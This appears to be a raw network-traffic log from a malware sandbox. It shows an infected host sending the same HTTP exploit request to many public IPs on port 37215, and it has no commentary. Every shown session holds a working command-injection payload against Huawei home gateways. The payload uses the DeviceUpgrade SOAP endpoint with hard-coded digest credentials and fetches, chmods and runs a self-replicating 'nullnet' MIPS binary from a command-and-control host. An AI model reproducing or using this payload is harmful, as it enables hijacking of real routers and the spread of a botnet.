/tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.14	37328	41.77.71.178	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.121778965 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.14	44878	197.243.86.185	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.123317957 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.14	52068	156.115.237.200	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.124699116 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.14	54584	197.91.194.211	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.126117945 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.14	58706	156.191.169.252	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.127507925 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.14	38306	156.109.25.155	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.145828009 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.14	44592	197.128.115.142	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.146519899 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.14	36008	41.39.6.67	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.177930117 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.14	55236	197.2.153.184	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:06.178663015 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.14	32980	41.152.10.217	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:33:07.217202902 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.14	58932	41.85.178.26	37215

Timestamp	Bytes transferred	Direction	Data
